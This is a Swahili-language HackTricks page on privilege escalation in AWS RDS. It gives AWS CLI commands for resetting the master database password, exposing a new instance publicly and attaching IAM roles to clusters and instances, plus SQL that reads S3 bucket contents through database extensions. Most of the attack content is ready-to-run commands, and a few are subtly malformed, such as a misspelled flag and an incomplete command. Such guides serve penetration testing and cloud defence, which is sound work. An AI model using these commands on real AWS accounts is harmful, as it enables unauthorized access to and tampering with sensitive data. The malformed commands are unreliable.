AWS - RDS Privesc

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

RDS - Huduma ya Hifadhidata ya Uhusiano

Kwa habari zaidi kuhusu RDS angalia:

pageAWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Kwa idhini hiyo, muhusika anaweza kurekebisha nenosiri la mtumiaji mkuu, na kuingia ndani ya hifadhidata:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Utahitaji kuweza kuwasiliana na database (kawaida wanapatikana tu kutoka ndani ya mitandao).

Athari Inayowezekana: Pata habari nyeti ndani ya mabadiliko.

rds-db:unganisha

Kulingana na nyaraka mtumiaji mwenye idhini hii anaweza kuunganisha kwenye kifaa cha DB.

Tumia Vibali vya Jukumu la RDS IAM

Postgresql (Aurora)

Ikiwa unakimbia SELECT datname FROM pg_database; na ukapata database inayoitwa rdsadmin unajua uko ndani ya database ya AWS postgresql.

Kwanza unaweza kuangalia ikiwa database hii imekuwa ikitumika kupata huduma yoyote ya AWS nyingine. Unaweza kuangalia hili ukitazama upanuzi uliofungwa:

SELECT * FROM pg_extension;

Ikiwa unapata kitu kama aws_s3 unaweza kudhani hii database ina aina fulani ya ufikiaji juu ya S3 (kuna nyongeza nyingine kama vile aws_ml na aws_lambda).

Pia, ikiwa una ruhusa ya kukimbia aws rds describe-db-clusters unaweza kuona ikiwa kituo kina jukumu la IAM limeambatishwa katika uga wa AssociatedRoles. Ikiwa lipo, unaweza kudhani kwamba database ilikuwa imeandaliwa kupata huduma zingine za AWS. Kulingana na jina la jukumu (au ikiwa unaweza kupata ruhusa za jukumu) unaweza kudhani ufikiaji wa ziada ambao database ina.

Sasa, ili kusoma faili ndani ya ndoo unahitaji kujua njia kamili. Unaweza kuisoma na:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Ikiwa ungekuwa na mamlaka ya moja kwa moja ya AWS ungeweza pia kuzitumia kufikia data ya S3 na:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql haina haja ya kubadilisha kipengele chochote cha kikundi cha parameta ili kuweza kupata upatikanaji wa S3.

Mysql (Aurora)

Ndani ya mysql, ikiwa unakimbia swali SELECT User, Host FROM mysql.user; na kuna mtumiaji anayeitwa rdsadmin, unaweza kudhani uko ndani ya AWS RDS mysql db.

Ndani ya mysql kikimbia onyesha parameta; na ikiwa parameta kama aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role, zina thamani, unaweza kudhani kuwa database imeandaliwa kupata data za S3.

Pia, ikiwa una ruhusa ya kukimbia aws rds describe-db-clusters unaweza kuangalia ikiwa kikundi kina jukumu lililohusishwa, ambalo kawaida lina maana ya kupata huduma za AWS).

Sasa, ili kusoma faili ndani ya ndoo unahitaji kujua njia kamili. Unaweza kuisoma kwa:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Mshambuliaji mwenye ruhusa za rds:AddRoleToDBCluster na iam:PassRole anaweza kuongeza jukumu lililoteuliwa kwa kifaa cha RDS kilichopo. Hii inaweza kuruhusu mshambuliaji kupata data nyeti au kuhariri data ndani ya kifaa hicho.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Athari Kubwa: Upatikanaji wa data nyeti au mabadiliko yasiyoruhusiwa kwenye data katika kifaa cha RDS. Tafadhali kumbuka kuwa baadhi ya DBs inahitaji mipangilio ya ziada kama vile Mysql, ambayo inahitaji kufafanua jukumu la ARN katika vikundi vya aprameter pia.

rds:CreateDBInstance

Kwa ruhusa hii pekee, mshambuliaji anaweza kuunda kifaa kipya ndani ya kikundi kilichopo tayari na kina jukumu la IAM limeambatishwa. Hataweza kubadilisha nenosiri la mtumiaji mkuu, lakini anaweza kufichua kifaa kipya cha database kwa mtandao:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: Jaribio

Mshambuliaji mwenye ruhusa za rds:CreateDBInstance na iam:PassRole anaweza kuunda kipengee kipya cha RDS kilichounganishwa na jukumu lililoteuliwa. Mshambuliaji anaweza kisha kupata data nyeti au kuhariri data ndani ya kipengee.

Baadhi ya mahitaji ya jukumu/mtindo wa kipengee cha kuunganisha (kutoka hapa):

  • Jukumu linapaswa kuwepo kwenye akaunti yako.

  • Jukumu linapaswa kuwa na jukumu la IAM ambalo Amazon EC2 ina ruhusa ya kudai.

  • Jina la mtindo wa kipengee na jina la jukumu la IAM lililohusishwa lazima lianze na kipimo cha AWSRDSCustom.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Athari Inayowezekana: Kupata ufikivu wa data nyeti au mabadiliko yasiyoruhusiwa kwenye data katika kifaa cha RDS.

rds:AddRoleToDBInstance, iam:PassRole

Mshambuliaji mwenye ruhusa za rds:AddRoleToDBInstance na iam:PassRole anaweza kuongeza jukumu lililoteuliwa kwenye kifaa cha RDS kilichopo. Hii inaweza kuruhusu mshambuliaji kupata ufikivu wa data nyeti au kubadilisha data ndani ya kifaa hicho.

Kifaa cha DB lazima kiwe nje ya kikundi kwa hili

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Athari Inayowezekana: Upatikanaji wa data nyeti au mabadiliko yasiyoruhusiwa kwenye data katika kifaa cha RDS.

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated